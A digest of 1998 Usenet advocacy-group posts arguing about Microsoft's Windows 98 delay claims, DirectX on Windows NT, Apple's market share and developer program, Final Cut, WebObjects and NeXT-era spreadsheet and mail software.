>An implementation of Stickies is relatively simple. The reason one
needs
>the small developers is for the innovation, not the implementation.
I think there is no shortage of innovation happening.
Mind you, all this is hinged on if you believe the claim that
changing the developer programs is going to kill off the individual
developers.
Frankly, I don't believe that..
Oh, BTW.. we have SuperClock too... well, MenuClock... and as
far as ControlStrip goes... should you really have to access that that
often? Nope..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 04 May 1998 16:38:10 -0400
Organization: http://www.judas-priest.com
Message-ID: <6il92r$3cl@bgtnsc01.worldnet.att.net>
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I'm gonna turn on my rant mode for a minute (and forgive me if anyone
disagrees with my cross-posting on this subject) because I am so
irritated by the bunch of bullshit Microsloth is spewing about the
potential delay of Winblows 98. Read
http://www.crn.com/dailies/weekending050898/may04dig04.asp
to get an idea of what I am referring to.
Now, MS claims it is not a monopoly, yet, delaying one of its products
has the "potential" to hurt business for roughly 2.2 MILLION+ people?
Which is it, guys??? Again, I still find MS's whining a load of crap.
Win 95 continues to sell. IS departments are STILL loaded with support
staff to support the current Win clients (3.1/95/NT). What MS is trying
to make the little sheep believe is that Windows 98 is SUCH a critical,
innovative piece of software that the world is worse off without it.
Yeah, I believe that one...
The fact is, many in the industry are hoping that Win 98 is just as much
a bug-ridden piece of garbage as past MS offerings. Hence, spreading the
"weealth" among the millions of people who support/fix such software for
a living. This is NOT a knock against IS professionals (which I am one).
But let's take an honest look at this scenario. The computer industry as
a whole (mostly service-related) has been *booming* for years now. There
are NO signs that's going to change in the near future whatsoever. Say
MS decided to stick with Win 95+ - only releasing "service packs." Would
the computer industry die a horrible death? Not even close. There are
still plenty of jobs to go around. In fact, more jobs than people. The
delay of Win 98 will have a negative effect on one company: Microsoft.
Not Dell. Not Compaq. Not CA. Not MicroAge. Not IngramMicro. Not IBM.
Not anyone. This is just another blatant example of Microsoft playing
the consumer market as a bunch of stupid assholes. Granted, many are.
But, Christ, how dumb do they think we are?
I just pray for the day MS faces a REAL backlash from consumer AND
corporate America. They hype their vaporware (i.e. NT 5.0 - not even
CLOSE to being finished, yet thousands of corporations are actually
planning strategies around it! Hello, McFly????) Contrary to what MS and
all of the IT sheep would like most people to believe, the move to NT
(not even talking about the "lameness" of planning entire strategies
around a completely UNPROVEN, UNSCALABLE piece of vaporware) is COSTLY!!
Check out
http://www2.computerworld.com/8525658400720fb8/69747ca2461a6aee852564ea0052c19c/f5a41f658eb90df3852565fa004e1bcd?OpenDocument
to get a better idea of the truth behind Windows NT "migration."
So, Microsoft, enough of your PR garbage. The fact is, there is no
"threat" to the industry if your overpriced, buggy, innovation-less
piece of software does not ship in time (hell, when has it ever?) due to
legal action
. I don't buy it. And I hope no one else does either.
Thank you.
RANT MODE OFF.
From: "Steve Shaw" <nospamola_sbshaws@kc-primary.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 4 May 1998 15:51:09 -0500
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charset="iso-8859-1"
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Message-ID: <354e2990.0@news.primary.net>
Organization: Primary Network. http://www.primary.net
What's good for Microsoft is good for America..... Deja vu.
No need to get upset, really... it's only Microsoft speaking to anyone who
will listen.
Steve Shaw
>I'm gonna turn on my rant mode for a minute (and forgive me if anyone
>disagrees with my cross-posting on this subject) because I am so
>irritated by the bunch of bullshit Microsloth is spewing about the
>potential delay of Winblows 98. Read
>http://www.crn.com/dailies/weekending050898/may04dig04.asp
>to get an idea of what I am referring to.
>
>Now, MS claims it is not a monopoly, yet, delaying one of its products
>has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>Which is it, guys??? Again, I still find MS's whining a load of crap.
>Win 95 continues to sell. IS departments are STILL loaded with support
>staff to support the current Win clients (3.1/95/NT). What MS is trying
>to make the little sheep believe is that Windows 98 is SUCH a critical,
>innovative piece of software that the world is worse off without it.
>Yeah, I believe that one...
>The fact is, many in the industry are hoping that Win 98 is just as much
>a bug-ridden piece of garbage as past MS offerings. Hence, spreading the
>"weealth" among the millions of people who support/fix such software for
>a living. This is NOT a knock against IS professionals (which I am one).
>But let's take an honest look at this scenario. The computer industry as
>a whole (mostly service-related) has been *booming* for years now. There
>are NO signs that's going to change in the near future whatsoever. Say
>MS decided to stick with Win 95+ - only releasing "service packs." Would
>the computer industry die a horrible death? Not even close. There are
>still plenty of jobs to go around. In fact, more jobs than people. The
>delay of Win 98 will have a negative effect on one company: Microsoft.
>Not Dell. Not Compaq. Not CA. Not MicroAge. Not IngramMicro. Not IBM.
>Not anyone. This is just another blatant example of Microsoft playing
>the consumer market as a bunch of stupid assholes. Granted, many are.
>But, Christ, how dumb do they think we are?
>I just pray for the day MS faces a REAL backlash from consumer AND
>corporate America. They hype their vaporware (i.e. NT 5.0 - not even
>CLOSE to being finished, yet thousands of corporations are actually
>planning strategies around it! Hello, McFly????) Contrary to what MS and
>all of the IT sheep would like most people to believe, the move to NT
>(not even talking about the "lameness" of planning entire strategies
>around a completely UNPROVEN, UNSCALABLE piece of vaporware) is COSTLY!!
>Check out
>http://www2.computerworld.com/8525658400720fb8/69747ca2461a6aee852564ea0052
c19c/f5a41f658eb90df3852565fa004e1bcd?OpenDocument
>to get a better idea of the truth behind Windows NT "migration."
>So, Microsoft, enough of your PR garbage. The fact is, there is no
>"threat" to the industry if your overpriced, buggy, innovation-less
>piece of software does not ship in time (hell, when has it ever?) due to
>legal action
>. I don't buy it. And I hope no one else does either.
>Thank you.
>
>
>RANT MODE OFF.
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 4 May 1998 21:05:47 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6ksbdb.3ss.jedi@dementia.mishnet>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
On Mon, 4 May 1998 13:22:34 -0700, darknerd@shell4.ba.best.com <darknerd@shell4
ba.best.com> wrote:
>This is not really an attack to the actual technical merit of any given
>operating system, but rather an attack on Micro$oft's business practices
>screws up customers.
>
>My argument is that Micro$oft is forcing users and developers to use
>DOS-booting Windows '95 instead of the more stable WindowsNT.
>
>I'm finding that more and more games are NOT supporting WindowsNT 4.0. I
>recently explored Micro$oft's DirectX developer's site (DirectX being the
>game technology), and found the latest version of DirectX is NOT supported
>on WindowsNT 4.0, but rather be supported in WindowsNT 5.0 which forces me
>to upgrade.
>
>This SUCKS!!!!
>
>Basically, Microsoft not supporting WindowNT 4.0 with DirectX is forcing
>game companies to only support Windows '95. Furthermore, WindowsNT 4.0 is
>obsoleted for future _UNRELEASED_ versions of WindowsNT.
Think about this for a moment. REALLY think. Do you believe
that Game Developers like Win95, in general or as a development
platform, any more than the rest of us. This manuver actually
gives developers that may have even prefer Direct3D a damn
nice reason to consider other, opengl based, api solutions.
>
>This forces I, the consumer, to user Windows '95 or purchase an upgraded
>version of WindowsNT 5.0 for the stability if affords and compatability
>with current gaming software.
>
>I'm really peeved by this!!! I can rant and raved all I want, but I think
>letters to my senator's and attorny general are more appropriate on their
>business practices.
>
>They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
>the matter.
Keep your eyes out for more opengl based games.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Mon, 04 May 1998 17:20:32 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0405981720330001@130.130.117.53>
References: <geordie-0105981017020001@130.130.117.53> <B16FC351-71A30@209.152.194.71>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <B16FC351-71A30@209.152.194.71>, "Paul Arthur"
<parthur@opNoSpam.net> wrote:
:On Fri, May 1, 1998 10:17 AM, Geordie Korper <mailto:geordie@chapman.com>
:wrote:
:>That does not seem to be what dataquest was saying in their report. I
:>believe the numbers compared 3.4% and 4% were last quarter 97 and first
:>quarter 98. Usually 4th quarter is higher volume and indeed this was the
:>case here as well. Apple's percentage of market went up but unit sales
:>were down.
:
:Actually, Apple's 4th quarter was lower volume. I believe they shipped
:625,000 machines in the last calendar quarter of 1997, and 650,000 in the
:first quarter of 1998. This is highly unusual since Apple usually has a
:good Christmas quarter, and the first quarter of any year is usually
:Apple's worst (in terms of unit shipments). This bodes well for future
:quarters, provided Apple doesn't screw things up somehow.
I believe the percentages being batted around are US market and the sales
numbers you mentioned are world wide. At the time I remember being
suprised by the way the articles seemed not too clearly distinguish what
was worldwide and what was US.
Apple's U.S. market
share for the first quarter of 1998 was 4 percent, based
on sales of 319,000 desktop and portable CPUs. The share
matched the previous year's first quarter, when Apple's
280,000 units sold accounted for 4 percent of the U.S.
market. The company's share in the fourth quarter of
1997 was 3.4 percent on 305,000 unit sales.
According to IDC, Apple's worldwide share for the first
quarter of 1998 was 3.2 percent, with 650,000 unit sales
- slightly down from the same quarter last year, when
the company's 602,000 unit sales earned a 3.3 percent
market share. Apple sold 635,000 units in the fourth
quarter of 1997 for a 2.6 percent worldwide share, IDC
said.
So I am indeed incorrect but not because of the numbers you mention.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: "Pinochet" <9grayhome9@00sprintmail0me0.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 4 May 1998 18:40:23 -0500
Message-ID: <6iljjf$etu$1@newsfep4.sprintmail.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
X-No-Archive: Yes
darknerd@shell4.ba.best.com wrote in message ...
>This is not really an attack to the actual technical merit of any given
>operating system, but rather an attack on Micro$oft's business practices
>screws up customers.
Then why poost it to so many NG's?
>My argument is that Micro$oft is forcing users and developers to use
>DOS-booting Windows '95 instead of the more stable WindowsNT.
Well, actually MS is trying to encourage the switch to NT, and DirectX6
will be on NT5 first, so I think you're a little behind the times.
>They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
>the matter.
No. What MS should do is release another Service Pack with support for
later versions of DirectX. They did this with SP3, and DX3, or didn't you
know?
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 4 May 1998 23:52:06 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6ksl55.43l.mbkennel@lyapunov.ucsd.edu>
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce5 <MPG.fb4017d7b738828989725@news.itg.ti.com> <6ikjac$4ek$1@new-news.cc.brandeis.edu>
On 4 May 1998 14:28:28 GMT, Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
:In 15 years of cross-platform experience on over 3000 physically distinct
:computers, I'd sum-up Win95/NT as appearing to be fine operating systems
:if you stick with mostly Microsoft products and don't do any significant
:amount of installation/removal. As soon as you start running out of IRQs,
:or if you try to really push the machine in terms of software, you'll run
:into trouble. I've done contract work where I've worked exclusively on
:NT, and end-user applications (non-Microsoft, mind you) have crashed
:enough to bring an NT system down a few times a day.
So. Let's see, is it that the NT quality assurance ONLY bothers to checks that
it works properly with Microsoft Applications, or perhaps are there secret
API's or special technical notes and docs only available to MS workers, or
is it just designed to crash on somebody elses software?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 5 May 1998 00:06:02 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6kslv8.43l.mbkennel@lyapunov.ucsd.edu>
References: <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <199805020131472899965@sdn-ts-002txhousp16.dialsprint.net> <6ifqeo$eke$1@xmission.xmission.com>
On 2 May 1998 12:59:36 -0600, Kristofer Jon Magnusson wrote:
:In that thread, I was building the case that without ISV support from
:first-tier vendors, a new platform would exclude from its potential market
:an extremely large number of prospective adopters.
The very unfortunate reality is that the overwhelming bulk of the industry
believes there is only one "first tier" vendor and all the others are
almost irrelevant.
In any case, I suspect that your observation is a very good reason why
Apple is likely to call operating systems using ex-NeXT technology {what
us nerds really care about anyway} something like "MacOS". Microsoft
has endorsed MacOS. It has not endorsed this project code-named
''Rhapsody''. So: what do you call your next operating system? If you
think more than 15 seconds you just failed The Steve's Gil-O-Meter test.
It's stupid, of course, but pointy haired people would be more willing to
accept "making a Mac program" than "making a program for some bizzare new
operating system". In other words, don't even *dream* of saying it's "a new
platform", even if it is. Minimize the *perception* of risk.
As far as BlueBox vs. YellowBox, customer demand will soon make it a
marketing advantage to sell "YellowBox Native" MacOS programs. How long
were 68K only programs marketable as compared to native PowerPC programs?
Most customers won't really know why, but they will know that "Yellow Box
native" programs are more reliable (fully memory protected), multitask
better, and are faster doing I/O. Apple needs to hand out snazzy 'Yellow
Box Native!' stickers to software companies, and then advertise to the
consumer ''Why YBN programs are the best ones for your Macintosh.''
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 00:14:04 GMT
Organization: Cygnus Solutions
Message-ID: <6illkc$em7$2@cronkite.cygnus.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: MJPECK@CONVEX.COM
In <354E1312.20EA@CONVEX.COM> Michael Peck wrote:
> John Rudd wrote:
>
>
> > This allows for modularization, and keeps
> > with the concept of using the right tool for the right job (_WHY_ would
you
> > read news with a mail client? or visa versa? just doesn't make sense).
>
> Because for a graphical client, handling mail and handling news have so
> much overlap. And because reading news and reading mail are so
> frequently done together and in the exact same way. And because neither
> activity requires significant system resources, and because users who
> read USENET tend to associate mail and news together for practical and
> historical reasons. And because sending and receiving email is so often
> done in combination with newsgroup posting. And because mail and news
> messages tend to contain the same range of content. And because a
> programmer who can write an email client should have no difficulty
> writing an NNTP client.
>
First, I can't think of anything that supports your statements associating
email and news postings as a combined activity. Yes, there are many
similarities to the interface and the actions, but your statement implies (or
at least I read it to imply) that the two are cognitavely similar, for
historical purposes. I would say exactly the opposite.. mailing lists and
newsgroups are seperate entities that live on apart from eachother, or
gatewayed to eachother. But they are not "the same thing". There are plenty
of things for which I would never create a newsgroup to substitute for a
mailing list (broadcast messages from a single address to a group of
subscribers, for example). There are also some resource differences -- a
majordomo list can have a directly associated group of logs and resources
that you can access via the list. Accessing logs and binary/source archives
from a news group is generally a completely seperate activity from posting
(unless you directly use deja news). The news group has no concept of
directly controlling, accessing, or maintaining information about those sorts
of resources. The best you can do is regularly post a FAQ with URL's for
repositories and such. This is not the same thing.
As for the program implimentations being similar, I don't think that argues
against my point at all. If anything, it makes it easier for the author to
share code between two seperate clients, and then optimize them seperately as
two different applications. The similarities in technical implimentation
only serve to make it easier to give consistant interfaces to the user, and
share code. They do not at all imply that they should be combined into one
bloatware application.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: The killer app....
Date: Mon, 4 May 1998 21:59:38 -0400
Organization: @Home Network
Message-ID: <6ilrs8$27f$1@ha2.rdc1.nj.home.com>
Well, looks like Apple has bought Final Cut from Macromedia. I imagine we
will see a yellow box version released in 6 months time. Apple is not only
going
to push a great video system, but proove that authoring for one api works.
Won't Adobe be happy.
This is all IMHO ofcourse, and Jobs could be proove me wrong.
-chris
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Free WebObjects Seminars
Date: Mon, 04 May 98 22:20:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EE753C.09B6006E35.uuout@relaynet.org>
You are invited to learn more about WebObjects at a special seminar presented
by the Apple Enterprise Software team. Build it...and the world will come.
How do you build a world of improvement without a world of work?
WebObjects is the answer.
A compelling website is much more than simple order capture or on-line
processing - it is a complete web solution that adds depth and dimension by
encompassing performance, reliability, and the total integration of your
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an effective and efficient way to leverage your business logic by
dynamically managing content on the Web. Management that gives you faster
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tested and web-proven reliability that all of our customers benefit from
today. Others demo, we deploy.
WebObjects is a powerful application development platform, enabling you to:
* Build dynamic web applications using prebuilt objects and components
* Integrate your business systems on the Web
* Access any application currently running on a mainframe, Windows NT, or
UNIX server
* Work with data resources such as Oracle, Sybase, Informix, ODBC, SAP, and
PeopleSoft
* Develop using your choice of languages including Java, C, and scripting
languages
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Deliver the latest, most dynamic information to your customers using a
robust tool set and prebuilt business objects-all with your existing legacy
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of the respective performance features of each. WebObjects applications and
objects can be distributed among multiple servers, as well as scale and
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WebObjects 3.5 is based on a technology that has been shipping for more than
ten years. During this time it has been refined, enhanced, and deployed at
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forcing changes elsewhere in the application. This enables you to grow the
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Club Med, Cybermeals, MCI, and The Sharper Image.
You are invited to learn more about WebObjects at a special seminar presented
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the power and flexibility of this remarkable tool for truly leveraging your
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of its ability to build sophisticated applications using prebuilt objects
and components. You will also find out how other businesses are currently
taking advantage of this powerful tool to turn the Web into a dynamic way
to serve their customers and their organization.
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Register for this free seminar at http://www.seminars.apple.com/series/
webobjects/ or call 1-800-879-6398, option #1
For further information on WebObjects please go to: www.apple.com/
webobjects
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: me@venetia.pgh.pa.us
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: 5 May 1998 02:48:36 GMT
Organization: Pittsburgh OnLine, Inc.
Message-ID: <6ilum4$eoc$1@dropit.pgh.net>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU>
tvz@Princeton.EDU (Timothy Van Zandt) wrote:
> In <6i5p7v$d3f$1@dropit.pgh.net> me@venetia.pgh.pa.us wrote:
> > dwright@universal.dca.net (Darren Wright) wrote:
> > >
> > > Too bad Quantrix is not available on Windows hunh? Excel still
> > sucks bad.
> >
> > There is Improv for Windows. Improv on NeXT was always better
than
> > Quantrix for what I needed to do.
>
> I find Improv and Quantrix to have pretty similar capabilities and
interface.
> What are the advantages of Improv that you find? Just curious.
>
> Tim vz.
>
Quantrix had one big weakness for me. I plot discontinuous data and
Improv will merely break and continue. Quantrix drops to zero and
plots a continuous curve.
Improv for windows has a big weakness. Semi-log plots can only be
multiples of full cycles while Improv for NeXT allows partial cycles.
On the other hand, it handles dates on charts much better.
-----
Bob Peirce Venetia, PA 724-941-6883
me@venetia.pgh.pa.us [HOME (NeXT)] rbp@investor.pgh.pa.us [OFFICE]
There is only one basic human right, the right to do as you damn well
please. And with it comes the only basic human duty, the duty to take
the consequences. -- P.J. O'Rourke
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 03:41:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kt2jt.5jg.sal@panix3.panix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com>
On 4 May 1998 20:12:41 GMT, Scott Anguish <sanguish@digifix.com> wrote:
>. and as
>far as ControlStrip goes... should you really have to access that that
>often? Nope..
How else am I going to disable sound or lower the CD volume when I get a
phone call?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 May 1998 03:47:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kt2uj.5jg.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu> <slrn6k44k2.pe0.sal@panix3.panix.com> <us567jrjo11.fsf@ai.mit.edu>
On 30 Apr 1998 12:02:34 -0400, Stephen Peters <portnoy@ai.mit.edu> wrote:
>sal@panix3.panix.com (Salvatore Denaro) writes:
>> And has anyone else ever had to learn/use APL? Now that is a ugly
>> language. It looks like a language Salvador Dali would design...
>Actually, it looks like a language a mathematician would design. And
>it was :-)
The $64,000 question has always been "Why didn't it use standard (or
at least semi-standard) math notation?"
(And no, I do not use parenthesis when I talk)
>The neat part is actually programming APL on a keyboard designed for
>it. I don't think one of those has been made since IBM stopped
>production on the 5110.
Hey! That's the one I learned on. It had the glyphs in red-orange on the
keybacks.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: 5 May 1998 03:32:08 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd77d6$6320c2c0$04387880@test1>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com>
Chris Van Buskirk <cvbuskirk@home.com> wrote
> Well, looks like Apple has bought Final Cut from Macromedia.
I have been really looking forward to this. Combine this with the recent
release of QuickTime 3, the distribution of Avid Technology's Avid Cinema
with AIO Macs, and the growing popularity of low-cost writeable CD players
and Apple really is in great position to drive multimedia content creation.
Apple really needs a "killer app" to convince those who are thinking about
leaving the Mac to stay (and upgrade :-), and more importantly, to bring in
potentially new customers.
There are a lot of possibilities here...
Todd
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 03:37:08 GMT
Organization: Digital Fix Development
Message-ID: <6im1h4$87v$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com>
In-Reply-To: <slrn6kt2jt.5jg.sal@panix3.panix.com>
On 05/04/98, Salvatore Denaro wrote:
>On 4 May 1998 20:12:41 GMT, Scott Anguish <sanguish@digifix.com>
wrote:
>>. and as
>>far as ControlStrip goes... should you really have to access that
that
>>often? Nope..
>
>How else am I going to disable sound or lower the CD volume when I
get a
>phone call?
>
Something like this is much better accomplished using a
mechanism like NeXT used to have.. volume keys on the keyboard..
maybe make use of those function keys..
Or a service that allows you to Mute the sound by a command
key combination..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 5 May 1998 03:58:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kt3ij.5jg.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM>
A guy can get whiplash trying to keep track of your point.
On Fri, 01 May 1998 14:44:29 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
>And my point was that the conclusions you can draw from your data are
>subject to the amount of data you poll from the population,
That didn't sound like your point:
>From: Message-ID: <35478DF9.21CC@CONVEX.COM> >The problem is not with percentage increase, but with percentages
>measured in percentages. Such differential measurements, especially when
>based on a fluctuating population, are totally meaningless.
I guess that when you get proven wrong, you just morph your point and
go on ranting...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 5 May 1998 04:02:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kt3rg.5jg.sal@panix3.panix.com>
